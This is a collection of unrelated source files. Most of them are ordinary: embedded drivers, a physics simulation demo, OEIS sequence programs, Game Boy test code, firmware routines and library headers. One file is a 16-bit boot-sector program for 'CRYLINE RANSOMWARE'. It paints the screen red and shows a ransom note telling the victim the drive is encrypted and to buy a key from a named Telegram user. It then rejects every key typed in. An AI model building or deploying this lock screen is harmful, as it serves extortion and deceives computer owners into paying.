if (data != nullptr || functionalMode == QUADSPI::CCR::FunctionalMode::MemoryMapped) {
ccr.setDMODE(operatingModes.dataOperatingMode());
}
if (functionalMode != QUADSPI::CCR::FunctionalMode::MemoryMapped) {
QUADSPI.DLR()->set((dataLength > 0) ? dataLength-1 : 0);
}
ccr.setDCYC(dummyCycles);
if (numberOfAltBytes > 0) {
ccr.setABMODE(operatingModes.addressOperatingMode()); // Seems to always be the same as address mode
ccr.setABSIZE(static_cast<QUADSPI::CCR::Size>(numberOfAltBytes - 1));
QUADSPI.ABR()->set(altBytes);
}
if (address != reinterpret_cast<uint8_t *>(FlashAddressSpaceSize) || functionalMode == QUADSPI::CCR::FunctionalMode::MemoryMapped) {
ccr.setADMODE(operatingModes.addressOperatingMode());
ccr.setADSIZE(QUADSPI::CCR::Size::ThreeBytes);
}
ccr.setIMODE(operatingModes.instructionOperatingMode());
ccr.setINSTRUCTION(static_cast<uint8_t>(c));
if (functionalMode == QUADSPI::CCR::FunctionalMode::MemoryMapped) {
ccr.setSIOO(true);
/* If the SIOO bit is set, the instruction is sent only for the first command following a write to QUADSPI_CCR.
* Subsequent command sequences skip the instruction phase, until there is a write to QUADSPI_CCR. */
}
QUADSPI.CCR()->set(ccr);
if (address != reinterpret_cast<uint8_t *>(FlashAddressSpaceSize)) {
QUADSPI.AR()->set(reinterpret_cast<uint32_t>(address));
}
if (functionalMode == QUADSPI::CCR::FunctionalMode::IndirectWrite) {
for (size_t i=0; i<dataLength; i++) {
QUADSPI.DR()->set(data[i]);
}
} else if (functionalMode == QUADSPI::CCR::FunctionalMode::IndirectRead) {
for (size_t i=0; i<dataLength; i++) {
data[i] = QUADSPI.DR()->get();
}
}
/* Wait for the command to be sent.
* "When configured in memory-mapped mode, because of the prefetch operations,
* BUSY does not fall until there is a timeout, there is an abort, or the
* peripheral is disabled.", so we do not wait if the device is in
* memory-mapped mode. */
if (functionalMode != QUADSPI::CCR::FunctionalMode::MemoryMapped) {
while (QUADSPI.SR()->getBUSY()) {
}
}
}
}
}
}
|
/*
* Reflect Library by Parra Studios
* A library for provide reflection and metadata representation.
*
* Copyright (C) 2016 - 2022 Vicente Eduardo Ferrer Garcia <vic798@gmail.com>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#include <gtest/gtest.h>
int main(int argc, char *argv[])
{
::testing::InitGoogleTest(&argc, argv);
return RUN_ALL_TESTS();
}
|
/*
* Copyright (c) 2014 Juniper Networks, Inc. All rights reserved.
*/
extern "C" {
#include <ovsdb_wrapper.h>
};
#include <vm_interface_ksync.h>
#include <oper/vn.h>
#include <oper/interface.h>
#include <oper/vm_interface.h>
#include <oper/vrf.h>
#include <ovsdb_types.h>
#include <ovsdb_route_data.h>
#include <ovsdb_route_peer.h>
using OVSDB::OvsdbDBEntry;
using OVSDB::VMInterfaceKSyncEntry;
using OVSDB::VMInterfaceKSyncObject;
VMInterfaceKSyncEntry::VMInterfaceKSyncEntry(VMInterfaceKSyncObject *table,
const VmInterface *entry) : OvsdbDBEntry(table),
uuid_(entry->GetUuid()) {
}
VMInterfaceKSyncEntry::VMInterfaceKSyncEntry(VMInterfaceKSyncObject *table,
const VMInterfaceKSyncEntry *key) : OvsdbDBEntry(table),
uuid_(key->uuid_) {
}
VMInterfaceKSyncEntry::VMInterfaceKSyncEntry(VMInterfaceKSyncObject *table,
boost::uuids::uuid uuid) : OvsdbDBEntry(table), uuid_(uuid) {
}
void VMInterfaceKSyncEntry::AddMsg(struct ovsdb_idl_txn *txn) {
}
void VMInterfaceKSyncEntry::ChangeMsg(struct ovsdb_idl_txn *txn) {
}
void VMInterfaceKSyncEntry::DeleteMsg(struct ovsdb_idl_txn *txn) {
}
bool VMInterfaceKSyncEntry::Sync(DBEntry *db_entry) {
VmInterface *entry = static_cast<VmInterface *>(db_entry);
bool ret = false;
std::string vn_name;
if (entry->vn()) {
vn_name = UuidToString(entry->vn()->GetUuid());
}
SecurityGroupList sg_list;
entry->CopySgIdList(&sg_list);
if (sg_list != sg_list_) {
// Enqueue a RESYNC on the route with new VN-Name and SG-ID
const VrfEntry *vrf = entry->vrf();
const VnEntry *vn = entry->vn();
const VxLanId *vxlan = NULL;
if (vn)
vxlan = vn->vxlan_id_ref();
if (vrf != NULL && vn != NULL && vxlan != NULL &&
!table_->client_idl()->IsDeleted() &&
table_->client_idl()->route_peer() != NULL) {
EvpnAgentRouteTable *evpn_table = static_cast<EvpnAgentRouteTable *>
(vrf->GetEvpnRouteTable());
// SG-ID changed, update OVSDB Route for VMI with new SG-ID
sg_list_ = sg_list;
OvsdbRouteResyncData *data = new OvsdbRouteResyncData(sg_list);
evpn_table->ResyncVmRoute(table_->client_idl()->route_peer(),
vrf->GetName(), entry->vm_mac(), IpAddress(),
vxlan->vxlan_id(), data);
ret = true;
}
}
if (vn_name_ != vn_name) {
vn_name_ = vn_name;
ret = true;
}
return ret;
}
bool VMInterfaceKSyncEntry::IsLess(const KSyncEntry &entry) const {
const VMInterfaceKSyncEntry &intf_entry =
static_cast<const VMInterfaceKSyncEntry&>(entry);
return uuid_ < intf_entry.uuid_;
}
KSyncEntry *VMInterfaceKSyncEntry::UnresolvedReference() {
if (vn_name_.empty()) {
return table_->client_idl()->ksync_obj_manager()->default_defer_entry();
}
return NULL;
}
const std::string &VMInterfaceKSyncEntry::vn_name() const {
return vn_name_;
}
VMInterfaceKSyncObject::VMInterfaceKSyncObject(OvsdbClientIdl *idl, DBTable *table) :
OvsdbDBObject(idl, table, false) {
}
VMInterfaceKSyncObject::~VMInterfaceKSyncObject() {
}
KSyncEntry *VMInterfaceKSyncObject::Alloc(const KSyncEntry *key, uint32_t index) {
const VMInterfaceKSyncEntry *k_entry =
static_cast<const VMInterfaceKSyncEntry *>(key);
VMInterfaceKSyncEntry *entry = new VMInterfaceKSyncEntry(this, k_entry);
return entry;
}
KSyncEntry *VMInterfaceKSyncObject::DBToKSyncEntry(const DBEntry* db_entry) {
const VmInterface *entry = static_cast<const VmInterface *>(db_entry);
VMInterfaceKSyncEntry *key = new VMInterfaceKSyncEntry(this, entry);
return static_cast<KSyncEntry *>(key);
}
KSyncDBObject::DBFilterResp VMInterfaceKSyncObject::OvsdbDBEntryFilter(
const DBEntry *entry, const OvsdbDBEntry *ovsdb_entry) {
const Interface *intf = static_cast<const Interface *>(entry);
// only accept vm interfaces
if (intf->type() != Interface::VM_INTERFACE) {
return DBFilterIgnore;
}
return DBFilterAccept;
}
|
; A221397: Number of n X 3 arrays of occupancy after each element moves to some horizontal, diagonal or antidiagonal neighbor, with no 2-loops and with no occupancy greater than 2.
; Submitted by Jamie Morken(s4)
; 0,6,30,144,672,3108,14328,65976,303672,1397520,6431136,29594352,136184256,626677152,2883768672,13270180608,61065117312,281002082880,1293081432192,5950345861248,27381582408576,126001256419584,579817352343552,2668133410726656,12277893837459456,56498927855709696,259989937288048128,1196390268919111680,5505404134074961920,25334103316359005184,116579414555866036224,536461059168892262400,2468621661045439346688,11359804782147550433280,52274176608274881994752,240548987634673110675456
mov $1,1
lpb $0
sub $0,1
mov $2,$1
mul $3,2
mov $1,$3
mul $3,2
add $4,$2
add $1,$4
add $3,$2
lpe
mov $0,$3
mul $0,6
|
; A198479: 10^n*n^10.
; 0,10,102400,59049000,10485760000,976562500000,60466176000000,2824752490000000,107374182400000000,3486784401000000000,100000000000000000000,2593742460100000000000,61917364224000000000000,1378584918490000000000000,28925465497600000000000000,576650390625000000000000000,10995116277760000000000000000,201599390044900000000000000000,3570467226624000000000000000000,61310662578010000000000000000000,1024000000000000000000000000000000,16679880978201000000000000000000000
mov $2,10
pow $2,$0
pow $0,10
mul $0,$2
|
// =============================================================================
// PROJECT CHRONO - http://projectchrono.org
//
// Copyright (c) 2014 projectchrono.org
// All rights reserved.
//
// Use of this source code is governed by a BSD-style license that can be found
// in the LICENSE file at the top level of the distribution and at
// http://projectchrono.org/license-chrono.txt.
//
// =============================================================================
// Authors: Alessandro Tasora, Radu Serban
// =============================================================================
//
// FEA nonlinear static analysis of 3D beams.
//
// =============================================================================
#include "chrono/physics/ChSystemNSC.h"
#include "chrono/physics/ChLinkMate.h"
#include "chrono/physics/ChLinkLock.h"
#include "chrono/solver/ChSolverMINRES.h"
#include "chrono/fea/ChElementBeamEuler.h"
#include "chrono/fea/ChBuilderBeam.h"
#include "chrono/fea/ChMesh.h"
#include "chrono/fea/ChVisualizationFEAmesh.h"
#include "chrono_irrlicht/ChIrrApp.h"
#include "chrono_mkl/ChSolverMKL.h"
#include "chrono_thirdparty/filesystem/path.h"
using namespace chrono;
using namespace chrono::fea;
using namespace chrono::irrlicht;
using namespace irr;
// Output directory
const std::string out_dir = GetChronoOutputPath() + "BEAM_STATICS";
int main(int argc, char* argv[]) {
GetLog() << "Copyright (c) 2017 projectchrono.org\nChrono version: " << CHRONO_VERSION << "\n\n";
// Create a Chrono::Engine physical system
ChSystemNSC my_system;
// Create the Irrlicht visualization (open the Irrlicht device,
// bind a simple user interface, etc. etc.)
ChIrrApp application(&my_system, L"Statics of beam", core::dimension2d<u32>(800, 600), false, true);
// Easy shortcuts to add camera, lights, logo and sky in Irrlicht scene:
// application.AddTypicalLogo();
application.AddTypicalSky();
application.AddTypicalLights();
application.AddTypicalCamera(core::vector3df(0.f, 0.6f, -1.f));
// Create a truss:
auto my_body_A = std::make_shared<ChBody>();
my_body_A->SetBodyFixed(true);
my_system.AddBody(my_body_A);
// Attach a 'box' shape asset for visualization.
auto mboxtruss = std::make_shared<ChBoxShape>();
mboxtruss->GetBoxGeometry().Pos = ChVector<>(-0.01, -0.2, -0.25);
mboxtruss->GetBoxGeometry().SetLengths(ChVector<>(0.02, 0.5, 0.5));
my_body_A->AddAsset(mboxtruss);
// Create a FEM mesh, that is a container for groups
// of elements and their referenced nodes.
auto my_mesh = std::make_shared<ChMesh>();
double rotstep = 15;
double rotmax = 90;
ChMatrixNM<double, 3, 1> loads;
loads(0) = -4.448;
loads(1) = -8.896;
loads(2) = -13.345;
double z_spacing = -0.07;
double y_spacing = -0.14;
std::vector<std::shared_ptr<ChNodeFEAxyzrot>> endnodes[3];
for (int nload = 0; nload < 3; ++nload) {
int i = 0;
for (double rot = 0; rot <= rotmax; rot += rotstep) {
double rot_rad = rot * CH_C_DEG_TO_RAD;
//
// Add some EULER-BERNOULLI BEAMS:
//
// Create a section, i.e. thickness and material properties
// for beams. This will be shared among some beams.
auto msection = std::make_shared<ChBeamSectionAdvanced>();
double beam_wz = 0.0032024; // 3.175;
double beam_wy = 0.01237; // 12.7;
double beam_L = 0.508;
msection->SetDensity(2700);
msection->SetYoungModulus(71.7e9);
msection->SetGwithPoissonRatio(0.31);
msection->SetBeamRaleyghDamping(0.0);
msection->SetAsRectangularSection(beam_wy, beam_wz);
// This helps creating sequences of nodes and ChElementBeamEuler elements:
ChBuilderBeam builder;
builder.BuildBeam(
my_mesh, // the mesh where to put the created nodes and elements
msection, // the ChBeamSectionAdvanced to use for the ChElementBeamEuler elements
10, // the number of ChElementBeamEuler to create
ChVector<>(0, nload * y_spacing, i * z_spacing), // the 'A' point in space (beginning of beam)
ChVector<>(beam_L, nload * y_spacing, i * z_spacing), // the 'B' point in space (end of beam)
ChVector<>(0, 1, 0)
// ChVector<>(0, cos(rot_rad), sin(rot_rad))
); // the 'Y' up direction of the section for the beam
// After having used BuildBeam(), you can retrieve the nodes used for the beam,
// For example say you want to fix the A end and apply a force to the B end:
builder.GetLastBeamNodes().front()->SetFixed(true);
// builder.GetLastBeamNodes().back()->SetForce(ChVector<> (0, load,0));
builder.GetLastBeamNodes().back()->SetForce(
ChVector<>(0, loads(nload) * cos(rot_rad), loads(nload) * sin(rot_rad)));
endnodes[nload].push_back(builder.GetLastBeamNodes().back());
++i;
}
}
//
// Final touches..
//
// note, this benchmark not using gravity.. use my_system.Set_G_acc(VNULL); or..
my_mesh->SetAutomaticGravity(false);
// Remember to add the mesh to the system!
my_system.Add(my_mesh);
// ==Asset== attach a visualization of the FEM mesh.
// This will automatically update a triangle mesh (a ChTriangleMeshShape
// asset that is internally managed) by setting proper
// coordinates and vertex colors as in the FEM elements.
// Such triangle mesh can be rendered by Irrlicht or POVray or whatever
// postprocessor that can handle a colored ChTriangleMeshShape).
// Do not forget AddAsset() at the end!
auto mvisualizebeamA = std::make_shared<ChVisualizationFEAmesh>(*(my_mesh.get()));
mvisualizebeamA->SetFEMdataType(ChVisualizationFEAmesh::E_PLOT_ELEM_BEAM_MY);
mvisualizebeamA->SetColorscaleMinMax(-0.001, 6);
mvisualizebeamA->SetSmoothFaces(true);
mvisualizebeamA->SetWireframe(false);
my_mesh->AddAsset(mvisualizebeamA);
auto mvisualizebeamC = std::make_shared<ChVisualizationFEAmesh>(*(my_mesh.get()));
mvisualizebeamC->SetFEMglyphType(ChVisualizationFEAmesh::E_GLYPH_NODE_CSYS);
mvisualizebeamC->SetFEMdataType(ChVisualizationFEAmesh::E_PLOT_NONE);
mvisualizebeamC->SetSymbolsThickness(0.02);
mvisualizebeamC->SetSymbolsScale(0.01);
mvisualizebeamC->SetZbufferHide(false);
my_mesh->AddAsset(mvisualizebeamC);
// ==IMPORTANT!== Use this function for adding a ChIrrNodeAsset to all items
// in the system. These ChIrrNodeAsset assets are 'proxies' to the Irrlicht meshes.
// If you need a finer control on which item really needs a visualization proxy in
// Irrlicht, just use application.AssetBind(myitem); on a per-item basis.
application.AssetBindAll();
// ==IMPORTANT!== Use this function for 'converting' into Irrlicht meshes the assets
// that you added to the bodies into 3D shapes, they can be visualized by Irrlicht!
application.AssetUpdateAll();
// Mark completion of system construction
my_system.SetupInitial();
//
// THE SOFT-REAL-TIME CYCLE
//
// Use a solver that can handle stiffness matrices:
//***TEST***
/*
my_system.SetSolverType(ChSolver::Type::MINRES);
my_system.SetSolverWarmStarting(true);
my_system.SetMaxItersSolverSpeed(600);
my_system.SetMaxItersSolverStab(600);
my_system.SetTolForce(1e-12);
auto msolver = std::static_pointer_cast<ChSolverMINRES>(my_system.GetSolver());
msolver->SetDiagonalPreconditioning(true);
*/
////***TEST***
// ChMatlabEngine matlab_engine;
// auto matlab_solver = std::make_shared<ChSolverMatlab>(matlab_engine);
// my_system.SetSolver(matlab_solver);
//***TEST***
auto mkl_solver = std::make_shared<ChSolverMKL<>>();
my_system.SetSolver(mkl_solver);
application.SetTimestep(0.001);
application.SetVideoframeSaveInterval(10);
// Perform nonlinear statics
my_system.DoStaticNonlinear(20);
application.SetPaused(true);
// Output data
if (!filesystem::create_directory(filesystem::path(out_dir))) {
std::cout << "Error creating directory " << out_dir << std::endl;
return 1;
}
std::string filename1 = out_dir + "/princeton_L1.dat";
chrono::ChStreamOutAsciiFile file_out1(filename1.c_str());
for (int i = 0; i < endnodes[0].size(); ++i) {
double node_y = endnodes[0][i]->GetPos().y() - 0 * y_spacing;
double node_z = endnodes[0][i]->GetPos().z() - i * z_spacing;
double node_a =
atan2(endnodes[0][i]->GetA().Get_A_Yaxis().y(), endnodes[0][i]->GetA().Get_A_Yaxis().z()) - CH_C_PI_2;
GetLog() << " Node " << i << " DY=" << node_y << " DZ=" << node_z << " angle=" << node_a << " [rad]\n";
file_out1 << node_y << " " << node_z << " " << node_a << "\n";
}
std::string filename2 = out_dir + "/princeton_L2.dat";
chrono::ChStreamOutAsciiFile file_out2(filename2.c_str());
for (int i = 0; i < endnodes[1].size(); ++i) {
double node_y = endnodes[1][i]->GetPos().y() - 1 * y_spacing;
double node_z = endnodes[1][i]->GetPos().z() - i * z_spacing;
double node_a =
atan2(endnodes[1][i]->GetA().Get_A_Yaxis().y(), endnodes[1][i]->GetA().Get_A_Yaxis().z()) - CH_C_PI_2;
GetLog() << " Node " << i << " DY=" << node_y << " DZ=" << node_z << " angle=" << node_a << " [rad]\n";
file_out2 << node_y << " " << node_z << " " << node_a << "\n";
}
std::string filename3 = out_dir + "/princeton_L3.dat";
chrono::ChStreamOutAsciiFile file_out3(filename3.c_str());
for (int i = 0; i < endnodes[2].size(); ++i) {
double node_y = endnodes[2][i]->GetPos().y() - 2 * y_spacing;
double node_z = endnodes[2][i]->GetPos().z() - i * z_spacing;
double node_a =
atan2(endnodes[2][i]->GetA().Get_A_Yaxis().y(), endnodes[2][i]->GetA().Get_A_Yaxis().z()) - CH_C_PI_2;
GetLog() << " Node " << i << " DY=" << node_y << " DZ=" << node_z << " angle=" << node_a << " [rad]\n";
file_out3 << node_y << " " << node_z << " " << node_a << "\n";
}
// 3D view
while (application.GetDevice()->run()) {
application.BeginScene();
application.DrawAll();
ChIrrTools::drawGrid(application.GetVideoDriver(), 0.05, 0.05, 10, 10,
ChCoordsys<>(ChVector<>(0.25, -0.20, 0), 0, VECT_Y), video::SColor(50, 120, 120, 120),
true);
ChIrrTools::drawGrid(application.GetVideoDriver(), 0.05, 0.05, 10, 10,
ChCoordsys<>(ChVector<>(0.25, -0.45, -0.25), CH_C_PI_2, VECT_X),
video::SColor(50, 120, 120, 120), true);
ChIrrTools::drawGrid(application.GetVideoDriver(), 0.05, 0.05, 10, 10,
ChCoordsys<>(ChVector<>(0.001, -0.20, -0.25), CH_C_PI_2, VECT_Y),
video::SColor(50, 160, 160, 160), true);
application.DoStep();
application.EndScene();
}
return 0;
}
|
; A168410: a(n) = 3 + 9*floor(n/2).
; 3,12,12,21,21,30,30,39,39,48,48,57,57,66,66,75,75,84,84,93,93,102,102,111,111,120,120,129,129,138,138,147,147,156,156,165,165,174,174,183,183,192,192,201,201,210,210,219,219,228,228,237,237,246,246,255,255,264,264,273,273,282,282,291,291,300,300,309,309,318,318,327,327,336,336,345,345,354,354,363,363,372,372,381,381,390,390,399,399,408,408,417,417,426,426,435,435,444,444,453
mov $1,1
add $1,$0
div $1,2
mul $1,9
add $1,3
mov $0,$1
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;; CRYLINE PROJECT 2020 ;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;; by @DarxiS ;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;; v5.0 ;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;; - KERNEL BANNER - ;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
bits16 ; <= Compiler options. Compile to .bin file extension
mov ah, 0x00 ; <= Set null-pointer mode for change screen options
mov al, 0x03 ; <= Set screen format 640x200 [Check 0x03 param - http://www.columbia.edu/~em36/wpdos/videomodes.txt]
int 0x10 ; <= Use 10h interrupt
mov ah, 0x0B ; <= Set screen style
mov bh, 0x00 ; <= Set screen style
mov bl, 0x04 ; <= Set background color: Red
int 0x10 ; <= Use 10h interrupt
jmp showFakeBanner ; <= Jump to 'showFakeBanner' function address
showFakeBanner: ; <= Function 'ShowFakeBanner'
mov si, firstString ; <= Set text to SI register
call printText ; <= Call print text function
mov si, secondString ; <= Set text to SI register
call printText ; <= Call print text function
mov si, thirdString ; <= Set text to SI register
call printText ; <= Call print text function
mov si, descriptionString ; <= Set text to SI register
call printText ; <= Call print text function
jmp getUserInput ; <= Call function 'getUserInput'
getUserInput:
mov si, fourghtString ; <= Set text to SI register
call printText ; <= Call print text function
mov di, inputString ; <= Simple bug fix
getKeyLoop:
mov ah, 0x00 ; <= Set function 'Reading' for interrupt 16h
int 0x16 ; <= Use 16h interrupt
mov ah, 0x0e ; <= Set char types and colors
cmp al, 0xD ; <= [!] IT'S A FUTURE FUNCTION! FOR DECRYPTION PROCESS AND CHECK REAL KEY!
je getCheckKey ; <= [!] IT'S A FUTURE FUNCTION! FOR DECRYPTION PROCESS AND CHECK REAL KEY!
int 0x10 ; <= Use 10h interrupt
mov [di], al ; <= Move AL to memory of DI address
inc di ; <= DI += 1;
jmp getKeyLoop ; <= Loop | jump to function 'getKeyLoop'
getCheckKey: ; <= [!] IT'S A FUTURE FUNCTION! FOR DECRYPTION PROCESS AND CHECK REAL KEY!
mov byte [di], 0 ; <= [!] IT'S A FUTURE FUNCTION! FOR DECRYPTION PROCESS AND CHECK REAL KEY!
mov al, [inputString] ; <= [!] IT'S A FUTURE FUNCTION! FOR DECRYPTION PROCESS AND CHECK REAL KEY!
mov si, invalidKey ; <= Set text to SI register
call printText ; <= Call print text function
jmp getUserInput ; <= Jump to function 'getUserInput'
printText: ; <= Function 'printText'
mov ah, 0x0e ; <= Set the text print mode
mov bh, 0x00 ; <= Set screen and text parameters
mov bl, 0x07 ; <= Set screen and text parameters
printChar:
mov al, [si] ; <= Move bytecode from memory address [RAM] of SI to AL register
cmp al, 0 ; <= If AL = 0...
je endPrinting ; <= Call function 'endPrinting'
; <= Else...
int 0x10 ; <= Use 10h interrupt
add si, 1 ; <= Move +1 to SI register (inc si)
jmp printChar ; <= Jump to 'printChar' function. It's a simple loop
endPrinting: ; <= Function 'endPrinting'
ret ; <= Return
firstString: db '--------------------------------------------------------------------------------', 0xA, 0xD, 0 ; <= Text for show
secondString: db ' Ooooops! Your system have been encrypted by CRYLINE RANSOMWARE', 0xA, 0xD, 0 ; <= Text for show
thirdString: db '--------------------------------------------------------------------------------', 0xA, 0xD, 0 ; <= Text for show
descriptionString: db ' The hard drive of your computer have been encrypted with an military grade', 0xA, 0xD,' encryption algorithm. There is no way to restore your data without a special', 0xA, 0xD,' encryption key! You can purchase this encryption key on the Telegram page', 0xA, 0xD, ' shown in the next step: ', 0xA, 0xD, ' ', 0xA, 0xD, ' 1. Sign up in the Telegram at "https://telegram.org/". It so easy!', 0xA, 0xD, ' 2. Write to the user @Darxis about this incident', 0xA, 0xD, ' 3. Write the received encryption key here', 0xA, 0xD, ' ', 0xA, 0xD, ' If you already purchased your key, please enter it below!', 0xA, 0xD, ' ', 0xA, 0xD, 0 ; <= Text for show
fourghtString: db ' Enter the decryption key: ', 0 ; <= Text for show
invalidKey: db ' => Error! Invalid key value', 0xA, 0xD, 0 ; <= Error text for show
inputString: db ' ', 0 ; <= Bug-fix text
times 1024-($-$$) db 0 ; <= Add null-bytes in free space |
.size 8000
.text@48
jp lstatint
.text@100
jp lbegin
.data@143
c0
.text@150
lbegin:
ld a, 00
ldff(ff), a
ld a, 30
ldff(00), a
ld a, 01
ldff(4d), a
stop, 00
ld a, ff
ldff(45), a
ld b, 91
call lwaitly_b
ld hl, fe00
ld d, 10
ld a, d
ld(hl++), a
ld a, 08
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 0c
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 10
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 28
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 2c
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 30
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 48
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 4c
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 50
ld(hl++), a
ld a, 40
ldff(41), a
ld a, 02
ldff(ff), a
xor a, a
ldff(0f), a
ei
ld a, 01
ldff(45), a
ld c, 41
ld a, 93
ldff(40), a
.text@1000
lstatint:
nop
.text@109d
ldff a, (c)
and a, 03
jp lprint_a
.text@7000
lprint_a:
push af
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
pop af
ld(9800), a
ld bc, 7a00
ld hl, 8000
ld d, a0
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ldff(43), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ld c, 44
lwaitly_b_loop:
ldff a, (c)
cmp a, b
jrnz lwaitly_b_loop
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006 - 2008, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; ScanMem32.Asm
;
; Abstract:
;
; ScanMem32 function
;
; Notes:
;
; The following BaseMemoryLib instances contain the same copy of this file:
;
; BaseMemoryLibRepStr
; BaseMemoryLibMmx
; BaseMemoryLibSse2
; BaseMemoryLibOptDxe
; BaseMemoryLibOptPei
;
;------------------------------------------------------------------------------
SECTION .text
;------------------------------------------------------------------------------
; CONST VOID *
; EFIAPI
; InternalMemScanMem32 (
; IN CONST VOID *Buffer,
; IN UINTN Length,
; IN UINT32 Value
; );
;------------------------------------------------------------------------------
global ASM_PFX(InternalMemScanMem32)
ASM_PFX(InternalMemScanMem32):
push edi
mov ecx, [esp + 12]
mov edi, [esp + 8]
mov eax, [esp + 16]
repne scasd
lea eax, [edi - 4]
cmovnz eax, ecx
pop edi
ret
|
#include <iostream>
#include <string>
#include <queue>
#include <atomic>
#include <thread>
#include "readerwriterqueue/readerwriterqueue.h"
#include "read/json.h"
#include "write/csv.h"
using namespace moodycamel;
int main(){
BlockingReaderWriterQueue<Tuple> out(100);
std::thread writer([&]() {
decode(out, std::cout);
});
std::thread reader([&]() {
encode(std::cin, out);
});
writer.join();
reader.join();
return 0;
}
|
Name: runed.asm
Type: file
Size: 55260
Last-Modified: '1992-06-02T15:00:00Z'
SHA-1: 44C015A65D2721A7BE597383F86B72436E1AE169
Description: null
|
#pragma once
#include "usb/usb_host.h"
class USBhost
{
friend void _client_event_callback(const usb_host_client_event_msg_t *event_msg, void *arg);
protected:
usb_device_info_t dev_info;
usb_device_handle_t dev_hdl;
usb_host_client_event_cb_t _client_event_cb = nullptr;
uint8_t _dev_addr;
uint8_t _configs;
uint8_t _itfs;
public:
USBhost();
~USBhost();
usb_host_client_handle_t client_hdl;
bool init(bool create_tasks = true);
bool open(const usb_host_client_event_msg_t *event_msg);
void close();
usb_device_info_t getDeviceInfo();
const usb_device_desc_t* getDeviceDescriptor();
const usb_config_desc_t* getConfigurationDescriptor();
uint8_t getConfiguration();
bool setConfiguration(uint8_t);
void parseConfig();
usb_host_client_handle_t clientHandle();
usb_device_handle_t deviceHandle();
void registerClientCb(usb_host_client_event_cb_t cb) { _client_event_cb = cb; }
};
|
; disk routines
const TEMP_SECTOR_BUF: 0x01FFF808
; read a sector into the specified memory buffer
; inputs:
; r0: sector number
; r1: disk ID
; r2: sector buffer (512 bytes)
; outputs:
; none
read_sector:
push r3
push r4
mov r3, 0x80002000 ; command to set the location of the buffer
mov r4, 0x80003000 ; command to read a sector from a disk into the buffer
or.8 r4, r1 ; set the disk ID
out r3, r2 ; set the memory buffer location
out r4, r0 ; read the sector into memory
pop r4
pop r3
ret
; wrtie a sector from the specified memory buffer
; inputs:
; r0: sector number
; r1: disk ID
; r2: sector buffer (512 bytes)
; outputs:
; none
write_sector:
push r3
push r4
mov r3, 0x80002000 ; command to set the location of the buffer
mov r4, 0x80004000 ; command to write a sector to a disk from the buffer
or.8 r4, r1 ; set the disk ID
out r3, r2 ; set the memory buffer location
out r4, r0 ; write the sector from memory
pop r4
pop r3
ret |
dnl ARM v6 mpn_sqr_basecase.
dnl Contributed to the GNU project by Torbjörn Granlund.
dnl Copyright 2012, 2013 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C Code structure:
C
C
